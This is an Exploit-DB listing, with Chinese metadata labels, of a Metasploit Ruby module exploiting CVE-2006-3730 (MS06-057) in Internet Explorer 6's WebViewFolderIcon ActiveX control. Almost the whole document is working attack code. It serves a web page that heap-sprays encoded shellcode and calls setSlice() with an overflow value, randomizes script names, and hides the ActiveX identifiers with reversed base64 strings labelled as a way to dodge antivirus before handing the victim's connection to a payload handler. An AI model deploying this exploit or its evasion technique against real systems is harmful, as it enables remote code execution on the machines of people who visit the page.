标题: Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (MS06-057) (Metasploit) (2) EDB-ID: 16564 CVE: 2006-3730 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
   'Description'    => %q{
    This module exploits a flaw in the WebViewFolderIcon ActiveX control
   included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
   during the Month of Browser Bugs project (MoBB #18).
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm',
    ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2006-3730'],
     [ 'OSVDB', '27110' ],
     [ 'MSB', 'MS06-057'],
     [ 'BID', '19030' ],
     [ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "\x00",

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 17 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Get a unicode friendly version of the return address
  addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

  # Randomize the javascript variable names
  var_buffer    = rand_text_alpha(rand(30)+2)
  var_shellcode = rand_text_alpha(rand(30)+2)
  var_unescape  = rand_text_alpha(rand(30)+2)
  var_x         = rand_text_alpha(rand(30)+2)
  var_i         = rand_text_alpha(rand(30)+2)
  var_tic       = rand_text_alpha(rand(30)+2)
  var_toc       = rand_text_alpha(rand(30)+2)

  # Annoying AVs
  var_aname     = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]
  var_ameth     = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]

  # Randomize HTML data
  html          = rand_text_alpha(rand(30)+2)


  # Build out the message
  content = %Q|
<html>
<head>
 <script>
 try {

 var #{var_unescape}  = unescape ;
 var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

 var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
 while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;

 var #{var_x} = new Array() ;
 for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
  #{var_x}[ #{var_i} ] =
   #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
 }


 for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
  var #{var_tic} = new ActiveXObject( '#{var_aname}' );
  try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
  var #{var_toc} = new ActiveXObject( '#{var_aname}' );
 }

 } catch( e ) { window.location = 'about:blank' ; }

 </script>
</head>
<body>
#{html}
</body>
</html>
  |

  content = Rex::Text.randomize_space(content)

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16564